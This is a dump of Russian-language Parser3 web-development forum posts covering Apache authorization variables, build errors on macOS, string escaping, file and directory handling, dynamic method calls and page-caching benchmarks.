Оно работает только если запаролить директорию с cgi-bin, что неприемлемо.\
\
Я думаю это связано с тем, что апач отказывается передавать параметры авторизации обработчику из незащищенной области. Я думал, что может быть директива или мод, который за это отвечает."
"73712","... речь в том треде идет не о запароливании cgi-bin'а, а о добавлении опций, которые разрешают передавать данные о авторизации обработчикам из незащищенных областей.  У меня в проекте cgi-bin не запаролен и прекрасно получает данные от Апача (Server Version: Apache/2.2.16 (FreeBSD) PHP/5.3.3 with Suhosin-Patch mod_ssl/2.2.16 OpenSSL/1.0.0a)."
"73713","Во первых он платный, хотя недорого. \
И ckfinder есть под версии php и asp.net, под парсер придется настраивать."
"73714","[quote]Во первых он платный, хотя недорого.[/quote]\
поэтому я предложил его. Заголовок первого поста: \"[b]Купил бы[/b] решение WYSIWYG редактор + filemanager\"\
\
настройка простая, в PHP-верии есть все необходимые для такого редактора функциии"
"73715","Есть мнение, что для Apache 2.X искомое надо искать там. :)\
\
Уточнение: подтверждаю, что при наличии AllowOverride AuthConfig на директорию cgi-bin нужная информация в REDIRECT_REMOTE_USER есть, при этом REMOTE_USER пуст."
"73716","Необходимо проверить работоспособность ссылок на другом сервере\
Делаю запрос по мануалу:\
[code]\
^if(-f \"$http://test.com/$all.products_page_url\"){+}{-}\
[/code]\
Если проверяю на домене где установлен Парсер все ок. Если на другом - все время нет файлов.\
Предположения:\
1. Ссылки домена, где проверяю, динамические и изменены через mod_rewrite. т.е. де факто файлов нет на сервере.\
\
Заранее спасибо за помощь с проверкой ссылок."
"73717","Имеется код:\
\
[code]^outermethod{^innermethod[]}\
\
@outermethod[code][a]\
$a[VARIABLE]\
$result[OUTER, $code]\
\
@innermethod[]\
$result[INNER, $a]\
[/code]\
\
он выводит \"OUTER, INNER,\"\
а хотелось бы \"OUTER, INNER, VARIABLE\"\
\
$caller.a, $self.a не помогает\
\
работает, если убрать 'a' из локальных в @outermethod\
\
вопрос 1: почему переменную 'a' не видно внутри @innermethod, хотя он вызывается в контексте @outermethod (обращение к переменной $code происходит именно там)?\
\
вопрос 2: можно ли увидеть переменную 'a' в методе @innermethod, не убирая её из локальных в @outermethod?"
"73718","$http: - работать не будет, т.к. $http - это переменная (или опечатка?).\
\
-f - проверяет файл локально, т.е. на диске, а не на удаленном сервере.\
\
Полагаю с помощью системы хитрых веревочек у вас эта конструкция превращается во что-то типа //test.com/xxxx.html - и такой файл находится, а вовсе не потому что на удаленном сервере работает Парсер.\
\
Сделайте $f[[url=\"http://www.parser.ru/docs/lang/?fileload.htm\"]^file::load[/url][\"тип\";\"ваш_путь\"]] и посмотрите $f.status"
"73719","1. локальная переменная доступна только внутри метода, где она определена. из другого метода получить её невозможно. то, что inner \"выполняется внутри outer\" -- это не совсем так (и мы вроде нигде не писали, что это так). в outer передаётся код, который должен быть выполнен. но вызванный из этого кода inner-метод вовсе не выполняется в контексте outer-метода.\
\
2. нет"
"73721","По поводу видимости локальных переменных Миша не совсем прав, через $caller они доступны. Другое дело, что $caller в вашем случае - это {}, которые находятся в main, а не outermethod. Вот такой вариант работает:\
\
[code]@main[]\
\
^outermethod[$innermethod]\
\
@outermethod[code][a]\
$a[VARIABLE]\
$result[OUTER, ^code[]]\
\
@innermethod[]\
$result[INNER, $caller.a]\
[/code]"
"73722","[code]\
$url[http://test.com/$all.products_page_url]\
$f[^file::load[text;$url;$.method[HEAD]]]\
[/code]\
Выдает ошибку: [i]'404' invalid HTTP response status [http.status][/i]\
Наверное что-то я не так сделал, а не лыжи..."
"73723","Ошибка из парсеровского лога, а не из $f.status"
"73726","osx 10.6 (64), ставлю bdwgc и начинается веселье:\
\
configure: WARNING: neither --with-shared/static-gc were specified, hoping linker would find it\
checking for libgc... yes\
\
етественно при попытке скомпилировать тьма ошибок."
"73727","в используемых нами скриптах сборки (buildall-with-xml и buildall-without-xml) пути к gc указаны. \
\
если вы почему-то собираете без их использования -- будьте любезны указать пути."
"73728","[code]@addRewritePattern[aPattern;aNewAction;aOptions]\
$result[][/code]\
его писать надо самому?\
В библиотеке его ведь нет :("
"73729","... да и сама система реврайтов поменялась. Почитать про текущее состояние дел можно в http://code.google.com/p/parser3-pf/source/browse/trunk/pf/TECHNOTES"
"73730","... то можно их задавать по почте или в джабер - оба адреса oleg[такса]volchkov.net"
"73731","И надеюсь, что новых багов при этом не посажено. :)"
"73732","test'.txt или test_27.txt, как ищет парсер?\
В первом случае ошибка не меняется, во втором все работает без исключений."
"73733","Честно говоря точно так и не понимаю, помогло ли прописать путь к gc, но явно добавились проблемы с pcre.\
При компиляции начинает просить скопировать содержимое $HOME/pcre/include в $HOME/parser3/src/include. Копирую, регаться на отсутствие файлов перестает, но вылезает простыня, с которой я уже не понимаю что делать. \
Сорри, простыня в студию:\
\
\
Building...\
Building parser3...\
Making install in src\
Making install in include\
make[3]: Nothing to be done for `install-exec-am'.\
make[3]: Nothing to be done for `install-data-am'.\
Making install in main\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_pool.o -MD -MP -MF \".deps/pa_pool.Tpo\" -c -o pa_pool.o pa_pool.C; \\\
	then mv -f \".deps/pa_pool.Tpo\" \".deps/pa_pool.Po\"; else rm -f \".deps/pa_pool.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_os.o -MD -MP -MF \".deps/pa_os.Tpo\" -c -o pa_os.o pa_os.C; \\\
	then mv -f \".deps/pa_os.Tpo\" \".deps/pa_os.Po\"; else rm -f \".deps/pa_os.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_common.o -MD -MP -MF \".deps/pa_common.Tpo\" -c -o pa_common.o pa_common.C; \\\
	then mv -f \".deps/pa_common.Tpo\" \".deps/pa_common.Po\"; else rm -f \".deps/pa_common.Tpo\"; exit 1; fi\
pa_common.C:1030: warning: deprecated conversion from string constant to ‘char*’\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT compile.tab.o -MD -MP -MF \".deps/compile.tab.Tpo\" -c -o compile.tab.o compile.tab.C; \\\
	then mv -f \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; else rm -f \".deps/compile.tab.Tpo\"; exit 1; fi\
compile.tab.C: In function ‘int yyparse(void*)’:\
compile.tab.C:2494: warning: deprecated conversion from string constant to ‘char*’\
compile.tab.C:2498: warning: deprecated conversion from string constant to ‘char*’\
compile.tab.C:2616: warning: deprecated conversion from string constant to ‘char*’\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT compile.o -MD -MP -MF \".deps/compile.Tpo\" -c -o compile.o compile.C; \\\
	then mv -f \".deps/compile.Tpo\" \".deps/compile.Po\"; else rm -f \".deps/compile.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT compile_tools.o -MD -MP -MF \".deps/compile_tools.Tpo\" -c -o compile_tools.o compile_tools.C; \\\
	then mv -f \".deps/compile_tools.Tpo\" \".deps/compile_tools.Po\"; else rm -f \".deps/compile_tools.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT execute.o -MD -MP -MF \".deps/execute.Tpo\" -c -o execute.o execute.C; \\\
	then mv -f \".deps/execute.Tpo\" \".deps/execute.Po\"; else rm -f \".deps/execute.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_cache_managers.o -MD -MP -MF \".deps/pa_cache_managers.Tpo\" -c -o pa_cache_managers.o pa_cache_managers.C; \\\
	then mv -f \".deps/pa_cache_managers.Tpo\" \".deps/pa_cache_managers.Po\"; else rm -f \".deps/pa_cache_managers.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_exception.o -MD -MP -MF \".deps/pa_exception.Tpo\" -c -o pa_exception.o pa_exception.C; \\\
	then mv -f \".deps/pa_exception.Tpo\" \".deps/pa_exception.Po\"; else rm -f \".deps/pa_exception.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_xml_exception.o -MD -MP -MF \".deps/pa_xml_exception.Tpo\" -c -o pa_xml_exception.o pa_xml_exception.C; \\\
	then mv -f \".deps/pa_xml_exception.Tpo\" \".deps/pa_xml_exception.Po\"; else rm -f \".deps/pa_xml_exception.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_globals.o -MD -MP -MF \".deps/pa_globals.Tpo\" -c -o pa_globals.o pa_globals.C; \\\
	then mv -f \".deps/pa_globals.Tpo\" \".deps/pa_globals.Po\"; else rm -f \".deps/pa_globals.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_xml_io.o -MD -MP -MF \".deps/pa_xml_io.Tpo\" -c -o pa_xml_io.o pa_xml_io.C; \\\
	then mv -f \".deps/pa_xml_io.Tpo\" \".deps/pa_xml_io.Po\"; else rm -f \".deps/pa_xml_io.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_memory.o -MD -MP -MF \".deps/pa_memory.Tpo\" -c -o pa_memory.o pa_memory.C; \\\
	then mv -f \".deps/pa_memory.Tpo\" \".deps/pa_memory.Po\"; else rm -f \".deps/pa_memory.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_request.o -MD -MP -MF \".deps/pa_request.Tpo\" -c -o pa_request.o pa_request.C; \\\
	then mv -f \".deps/pa_request.Tpo\" \".deps/pa_request.Po\"; else rm -f \".deps/pa_request.Tpo\"; exit 1; fi\
pa_request.C: In function ‘void output_sole_piece(Request&, bool, VFile&, Value*)’:\
pa_request.C:714: warning: deprecated conversion from string constant to ‘char*’\
pa_request.C: In function ‘void output_pieces(Request&, bool, const String&, size_t, Value&, bool)’:\
pa_request.C:801: warning: deprecated conversion from string constant to ‘char*’\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_string.o -MD -MP -MF \".deps/pa_string.Tpo\" -c -o pa_string.o pa_string.C; \\\
	then mv -f \".deps/pa_string.Tpo\" \".deps/pa_string.Po\"; else rm -f \".deps/pa_string.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_table.o -MD -MP -MF \".deps/pa_table.Tpo\" -c -o pa_table.o pa_table.C; \\\
	then mv -f \".deps/pa_table.Tpo\" \".deps/pa_table.Po\"; else rm -f \".deps/pa_table.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT untaint.o -MD -MP -MF \".deps/untaint.Tpo\" -c -o untaint.o untaint.C; \\\
	then mv -f \".deps/untaint.Tpo\" \".deps/untaint.Po\"; else rm -f \".deps/untaint.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_dir.o -MD -MP -MF \".deps/pa_dir.Tpo\" -c -o pa_dir.o pa_dir.C; \\\
	then mv -f \".deps/pa_dir.Tpo\" \".deps/pa_dir.Po\"; else rm -f \".deps/pa_dir.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_exec.o -MD -MP -MF \".deps/pa_exec.Tpo\" -c -o pa_exec.o pa_exec.C; \\\
	then mv -f \".deps/pa_exec.Tpo\" \".deps/pa_exec.Po\"; else rm -f \".deps/pa_exec.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_socks.o -MD -MP -MF \".deps/pa_socks.Tpo\" -c -o pa_socks.o pa_socks.C; \\\
	then mv -f \".deps/pa_socks.Tpo\" \".deps/pa_socks.Po\"; else rm -f \".deps/pa_socks.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_dictionary.o -MD -MP -MF \".deps/pa_dictionary.Tpo\" -c -o pa_dictionary.o pa_dictionary.C; \\\
	then mv -f \".deps/pa_dictionary.Tpo\" \".deps/pa_dictionary.Po\"; else rm -f \".deps/pa_dictionary.Tpo\"; exit 1; fi\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl      -g -O2 -MT pa_charset.o -MD -MP -MF \".deps/pa_charset.Tpo\" -c -o pa_charset.o pa_charset.C; \\\
	then mv -f \".deps/pa_charset.Tpo\" \".deps/pa_charset.Po\"; else rm -f \".deps/pa_charset.Tpo\"; exit 1; fi\
pa_charset.C:530: error: no ‘size_t Charset::calc_escaped_length_UTF8(XMLByte*, size_t)’ member function declared in class ‘Charset’\
pa_charset.C:543: error: no ‘size_t Charset::calc_escaped_length(const XMLByte*, size_t, const Charset::Tables&)’ member function declared in class ‘Charset’\
pa_charset.C:559: error: prototype for ‘size_t Charset::calc_escaped_length(String::C, const Charset&)’ does not match any in class ‘Charset’\
pa_charset.C:543: error: candidate is: size_t Charset::calc_escaped_length(const XMLByte*, size_t, const Charset::Tables&)\
pa_charset.C:586: error: no ‘size_t Charset::escape_UTF8(const XMLByte*, size_t, XMLByte*)’ member function declared in class ‘Charset’\
pa_charset.C:596: error: prototype for ‘size_t Charset::escape(const XMLByte*, size_t, XMLByte*, const Charset::Tables&)’ does not match any in class ‘Charset’\
../../src/include/pa_charset.h:84: error: candidates are: static String& Charset::escape(const String&, const Charset&)\
../../src/include/pa_charset.h:82: error:                 static String::Body Charset::escape(String::Body, const Charset&)\
../../src/include/pa_charset.h:80: error:                 static String::C Charset::escape(String::C, const Charset&)\
pa_charset.C: In static member function ‘static String::C Charset::escape(String::C, const Charset&)’:\
pa_charset.C:614: error: cannot call member function ‘size_t Charset::calc_escaped_length(String::C, const Charset&)’ without object\
pa_charset.C:619: error: cannot call member function ‘size_t Charset::escape_UTF8(const XMLByte*, size_t, XMLByte*)’ without object\
pa_charset.C:621: error: cannot call member function ‘size_t Charset::escape(const XMLByte*, size_t, XMLByte*, const Charset::Tables&)’ without object\
pa_charset.C: At global scope:\
pa_charset.C:646: error: no ‘size_t Charset::calc_JSON_escaped_length_UTF8(XMLByte*, size_t)’ member function declared in class ‘Charset’\
pa_charset.C:659: error: no ‘size_t Charset::calc_JSON_escaped_length(const XMLByte*, size_t, const Charset::Tables&)’ member function declared in class ‘Charset’\
pa_charset.C:675: error: prototype for ‘size_t Charset::calc_JSON_escaped_length(String::C, const Charset&)’ does not match any in class ‘Charset’\
pa_charset.C:659: error: candidate is: size_t Charset::calc_JSON_escaped_length(const XMLByte*, size_t, const Charset::Tables&)\
pa_charset.C:707: error: no ‘size_t Charset::escape_JSON_UTF8(const XMLByte*, size_t, XMLByte*)’ member function declared in class ‘Charset’\
pa_charset.C:717: error: prototype for ‘size_t Charset::escape_JSON(const XMLByte*, size_t, XMLByte*, const Charset::Tables&)’ does not match any in class ‘Charset’\
../../src/include/pa_charset.h:91: error: candidates are: static String& Charset::escape_JSON(const String&, const Charset&)\
../../src/include/pa_charset.h:89: error:                 static String::Body Charset::escape_JSON(String::Body, const Charset&)\
../../src/include/pa_charset.h:87: error:                 static String::C Charset::escape_JSON(String::C, const Charset&)\
pa_charset.C: In static member function ‘static String::C Charset::escape_JSON(String::C, const Charset&)’:\
pa_charset.C:735: error: cannot call member function ‘size_t Charset::calc_JSON_escaped_length(String::C, const Charset&)’ without object\
pa_charset.C:740: error: cannot call member function ‘size_t Charset::escape_JSON_UTF8(const XMLByte*, size_t, XMLByte*)’ without object\
pa_charset.C:742: error: cannot call member function ‘size_t Charset::escape_JSON(const XMLByte*, size_t, XMLByte*, const Charset::Tables&)’ without object\
make[2]: *** [pa_charset.o] Error 1\
make[1]: *** [install-recursive] Error 1\
make: *** [install-recursive] Error 1\
DONE"
"73735","Он тоже пуст"
"73736","Решение очевидное и непонятно как я раньше не догадался. \
\
[i]Итак, в результате определенной конфигурации Apache отказывается передавать переменные авторизации обработчику в [b]незащищенной паролем[/b] директории.[/i]\
\
См вот тут http://httpd.apache.org/docs/1.3/misc/FAQ-F.html#remote-user-var пункт 12\
\
Решение простое до безобразия. Сделать копию парсера, запаролить, и назначить обработчиком для той части сайта, которая защищена тем же паролем. Таким образом, обработчик будет находится в такой же защищенной области, что и html-файл, и все переменные будут ему переданы. \
\
Это решение. Однако причину в конфиге апача я так и не нашел."
"73738","И, наверное, не стоит ссылаться на документация по первому Апачу, если речь идет о 2.2. :)"
"73739","... и оставим следующим поколениям :)\
\
А пока что бубен помог"
"73740","Здравствуйте, я че-то запутался с теинтами и антейнтами. Я пытаюсь создать страницу и сохранить ее, в ее содержимое мне нужно вставить код парсера, а не результат выполнения кода. Как это сделать?"
"73741","А если код загружается из внешнего файла, то ничего специально делать не нужно."
"73742","Нет не из внешнего:\
\
@createfile[id]\
$file[^file::create[text;index.html;^taint[as-is][\
\
$pageid[$id]\
\
^MAIN:dbconnect{$pages[^table::sql{SELECT\
* FROM pages WHERE id = $pageid\
   }]\
}\
^document[$pages.title;$pages.description;$pages.keywords;;;$pages.content;$pages.ispublished]\
^header[;^MODULES:sitepath[$pages.id]]\
^content[$pages.title;$pages.content] \
^footer[]\
]\
]]\
\
^file.save[text;/$pages.ierarchy/index.html]"
"73743","http://www.parser.ru/docs/lang/stringlit.htm"
"73744","Жалко, что по-другому нельзя ("
"73745","Что-то не получается, в тело мускул запроса тоже надо экранировать если там есть символы?"
"73747","Просто надо поменять архитектуру и не заниматься генерацией html-файлов. Например, сделать так, чтобы все запросы шли на один обработчик (через mod_rewrite), а он уже формировал нужные странички - это общепринятая практика для современных динамических сайтов."
"73748","А символ \"::\" нужно экранировать? Если да то так? ^:^:?"
"73750","[code]\
$t[^table::create[nameless]{Saved lists	sl\
Published lists	pl\
Avating approval	aa\
Expiring	eg\
Expired	ed}]\
\
$th[^t.hash[1][0]]\
\
fromhash: $th.aa<br>\
# ничего\
\
$th[^t.menu{$.[$t.1][$t.0]}]\
# тут все получается\
\
fromhash: $th.aa\
[/code]"
"73751","воспользуйтесь именованными таблицами (без слова nameless)"
"73753","Из интереса: \"не совсем полноценность\" nameless таблиц, наверное, оправдана. Но в каких случаях? Ведь по сути - это именованные таблицы с названиями колонок 0,1,2...\
Почему бы их не создавать полноценными?"
"73754","основная таблица с nameless таблицами в настоящий момент в том, что неизвестно количество столбцов в них (скорее всего это скоро будет изменено и они станут более полноценными).\
\
поэтому, например для .hash[] сразу непонятно что и как засовывать в данные.\
\
понятно, что реализовать можно. возможно не совсем эффективно, но можно. однако такая задача не ставилась и nameless таблицы не задумывались как что-то ходовое."
"73755","Смотрел форум, нашел вот это:\
http://spearance.ru/parser3/deleteallfiles/\
но че-то не открывается..."
"73756","[code]$fileList[^file:list[путь]]\
^if($fileList>0){^fileList.menu{^file:delete[$fileList.name]}}[/code]\
Не уверен, что туда не попадут \".\" и \"..\" варианты имен, если что поставить условие +)\
PS ой не заметил, про папки, при наличии папок надо делать рекурсию."
"73757","Блин, рекурсия это сложно?"
"73758","[code]@deleteDir[path][sPath;tFileList]\
 $sPath[path]\
 $tFileList[^file:list[sPath]]\
  ^if($tFileList>0){\
   ^tFileList.menu{\
    ^if(-d $sPath/$tFileList.name){\
     ^deleteDir[$sPath/$tFileList.name]\
    }{\
     ^file:delete[$tFileList.name]\
    }\
   }\
  }[/code]\
Писалось на коленки, не уверен в правильности, но имхо более правильно будет сделать\
^file::exec[rm;;-rf;путь](это для линуха)"
"73760","А не подскажете как вызвать эту функцию, а если конкретней, что за второй параметр hParam?"
"73761","подключается -- как любой другой класс (см. доку)\
\
вызывается -- как любой другой метод статического класса (см. доку)\
\
описание единственного возможного параметра написано прямо перед методом."
"73762","Спасибо, разобрался =)"
"73764","Добрый вечер!\
\
Такой вопрос - как правильно организовать рассылку уведомлений,\
когда кол-во подписчиков уже более 500?\
\
Допустим, при посте - уведомляются все подписчики.\
\
Если их 5-10-20 понятно, можно и методами парсера во премя добавления отправить.\
\
Я вижу это, как кроном раз в н-е время базу проверять и\
отправлять письма.\
\
Может, кто-то уже решал аналогичную задачу?"
"73766","Присоединяюсь. Я тоже ищу долго и упорно."
"73767","Помогите, пожалуйста.\
\
Как вставить html код в котором есть символы ;{}$ и.т.д в код parser и это заработало без экранизации каждого символа :?"
"73768","Здравствуйте. Никак не получается запустить метод типа ^o_news.news_list[] из переменной. Пытался делать так, как описано в faq для простых случаев, но не сработало:\
\
$s_method[o_news.news_list]\
^self.[$s_method][]\
\
При этом сам метод ^o_news.news_list[] прекрасно вызывается, $o_news, естественно, тоже создан. А вот вызов какого-то класса из метода - не работает.\
\
Что я делаю неправильно? Заранее спасибо за помощь"
"73769","\"А вот вызов какого-то класса из метода - не работает.\"\
В смысле - метода из класса, конечно же"
"73770","[code]\
$sObjectName[o_news]\
$sMethodName[news_list]\
\
$obj[$$sObjectName]\
^obj.[$sMethodName][]\
[/code]"
"73772","Люди, у меня к вам вопрос. Теоретический.\
Делаю языковую обертку для сайта, т.е. предпологается значительный массив данных \"ключ=значение\".\
\
Все по разному хранят языковые версии. Кто-то в виде нумерованных таблиц, кто-то в виде хеша, кто-то в виде набора переменных $key[value], а господин Павел Дуров так вообще большую часть вынес в JavaScript:-) Собственно, кому как удобнее.\
\
Вопрос сейчас не в удобстве, вопрос в скорости:\
\
Предположим, надо получить не все строки, а только строку №1961 откуда-нибудь из середины:-)\
В каком случае Парсер будет обрабатывать данные быстрее и наименьшими затратами к памяти - в случае хеша, набора переменных или таблицы?"
"73773","вопрос задан некорректный. скорость -- фигня. главное -- удобство правок этих текстов, удобство работы с ними и отсутствие проблем при отображении/индексировании (это камень в огород реализации на JS).\
\
P.S. у меня это сделано в backend-е в xml. но для frontend, если там нет изначально xml/xsl, это всё таки несколько ресурсоемко. а если есть -- самое оно.\
\
P.P.S. набор глобальных переменных -- в топку. тексты по моему лучше хранить или в отдельных статических классах (типа namespace), или в отдельных tab-delimited/csv файлах, которые загружать как таблицы и преобразовывать хеш для быстрых лукапов. но код лучше вообще абстрагировать от способа хранения текстов: сделайте класс с методом(и) для доставания строки по ключу."
"73774","Кто-нибудь делал загрузчик фотографий для CKEditorа версии 3?"
"73775","http://swfupload.org/ - JS\
http://cms.forjesus.eu - парсерный класс внутри"
"73776","Че-то первая ссыль не открылась ("
"73778","Делаю:\
\
[code]$i[^image::measure[^file::load[binary;http://localhost/captcha/c.html]]]\
[/code]\
\
Получаю ошибку:\
unhandled image file name extension 'html'\
\
http://localhost/captcha/c.html - грузится в браузере нормально. \
Показывает картинку (там ^img.gif[] в response:body).\
\
Как отучить парсер проверять расширения в данном случае?"
"73780","Спасибо. Стало загружать и ошибки нет, но когда я делаю ^i.html[] - появляется картинка с отсутствующим исходником... Причем размеры её правильные..."
"73781","Есть сильное подозрение, что все это решается сильно проще."
"73784","Дима, выкини старые грабли. Ну серьёзно."
"73785","Обычный пример из доки:\
[code]\
$list[^file:list[/]] \
^list.menu{ \
   $list.name<br /> \
}\
[/code]\
Выдает: list, undefined method"
"73786","Все же стоит показать весь код. Явно ошибка не в этом месте.\
Попробуйте выделить вывод списка в отдельный файл и увидите, что все написанное работает."
"73787","file.p\
[code]\
@CLASS\
file\
#Файлы\
\
@Admin[][list]	Файлы\
\
Закачка и удаление файлов на сайте.\
<br>\
\
$list[^file:list[/]] \
^list.menu{ \
   $list.name<br /> \
} \
[/code]\
\
кусок auto.p откуда идет вызов\
[code]\
^if(def $form:actions){\
\
	$Class[$form:actions]\
	$is_file[^file:find[/classes/${Class}.p]{}]\
	^if(def $is_file){\
		^use[$is_file]\
		$go_to[^^${Class}]\
		^process{${go_to}:Admin[]}\
	}{\
	 Модуль не установлен.\
	}\
}{\
	Выберете модуль.\
} \
[/code]"
"73788","1.Ваш\
\
@CLASS\
file\
\
перекрывает системный класс file.\
\
2. Ошибка пишет, что в вашем классе file нет метода list\
3. Переименуйте ваш класс и и все заработает"
"73790","Детально изучаю механизм кэширования страниц (в частности, класс CachePage) и как-то мне не нравится, что чтобы обработать сохранённую страничку вызывается парсер. Собственно, первый вопрос - можно ли этого избежать? Я замерил время выполнения и затраты памяти - да, на сложных страницах разница ощутима, а вот на мелких - почти нет - всё-равно скрипт сколько-то сжирает.\
\
Второй вопрос - это вариант того как это сделать, нуждающийся в критике. Мне кажется, что в нём где-то есть очень слабое место, но не могу понять где.\
\
Суть в том, чтобы не кэшировать страницы с помощью cache вне пользовательской части сайта, а сохранять в рабочей области сайта сформированные страницы типа /news/2010/10/index.html, /articles/blablabla/index.html (в текстовом формате). Если сервер не находит запрошенную страницу, он передаёт запрос парсеру, который проверяет, может ли он отобразить её. Если может - формирует код и кладёт его на сайт, если не может - показывает соответствующую ошибку.\
\
Устаревание страниц решается с помощью скрипта, который запускается кроном и периодически чистит страницы. Уникальность страниц решается нормальными урлами. Понятно, что это не универсальное решение, но для многих сайтов могло бы использоваться.\
\
Так вообще кто-нибудь делает? Где тут ошибки?\
Спасибо\
\
Upd. Кажется, такое уже было. http://www.parser.ru/forum/?id=73023 - последний пункт - это оно?"
"73791","... но из того сообщения гораздо более важными являются первые два пункта - именно они позволяют решить подавляющее большинство проблем при масштабировании, поскольку для большинства проектов узким местом в этом случае будет база данных. Если вы более подробно опишите реальный профиль нагрузки, то можно будет более конкретно говорить, что лучше сделать в данном конкретном случае. Если же речь идет о желании сделать универсальную оптимизацию, то скорее всего это просто не имеет смысла - лучше потратить силы на более полезные вещи. :)"
"73792","Для изменения сайта на Парсере (разовая/постоянная работа?) требуется \
человек.\
CMS Aktar (http://aktar.sibarit.ru)\
Контакты: ffnso@mail.ru"
"73793","скрипту останется выдавать правильные заголовки expires. и не надо никакие скрипты по cron-у пускать."
"73794",">Я замерил время выполнения и затраты памяти - да, на сложных страницах \
>разница ощутима, а вот на мелких - почти нет - всё-равно скрипт сколько-то сжирает.\
\
О какой нагрузке идет речь, чтобы это \"сколько-то\" было вам критично?\
\
Вот, буквально вчера отправлял, результат ab на страницу, скешированную в парсере.\
Правда это на достаточно мощном сервере. Здесь на каждое обращение происходит запуск \
парсера и парсинг десятка классов, указанных в auto.p. Кстати здесь заметная часть\
времени тратится не на парсер, а на парсинг .htaccess (который на этом проекте\
большой, порядка десятка килобайт). Да, тестирование было в дневное время.\
Получается, что в дополнение к текущей нагрузке сервер способен обработать \
еще >500 запросов к парсеру в секунду (при отдаче из парсерного кеша). \
\
>/usr/sbin/ab -n 1000 -c 10 http://***/***/\
\
Server Software:        Apache\
Server Hostname:        ***\
Server Port:            80\
\
Document Path:          ***\
Document Length:        26664 bytes\
\
Concurrency Level:      10\
Time taken for tests:   1.845 seconds\
Complete requests:      1000\
Failed requests:        0\
Write errors:           0\
Total transferred:      26911000 bytes\
HTML transferred:       26664000 bytes\
Requests per second:    541.97 [#/sec] (mean)\
Time per request:       18.451 [ms] (mean)\
Time per request:       1.845 [ms] (mean, across all concurrent requests)\
Transfer rate:          14243.23 [Kbytes/sec] received\
\
Connection Times (ms)\
               min  mean[+/-sd] median   max\
Connect:        0    0   0.2      0       3\
Processing:    14   18   2.5     18      32\
Waiting:       14   18   2.5     18      31\
Total:         14   18   2.6     18      32"
"73795","У нас сервер послабее. \
Вот тестировал простую страницу с 5 несложными запросами к базе и тоже десятком подключаемых файлов без кеширования и с кэшированием. Запрос такой же как у Вас.\
\
Без кэширования\
Requests per second:    14.36 [#/sec] (mean)\
Time per request:       696.406 [ms] (mean)\
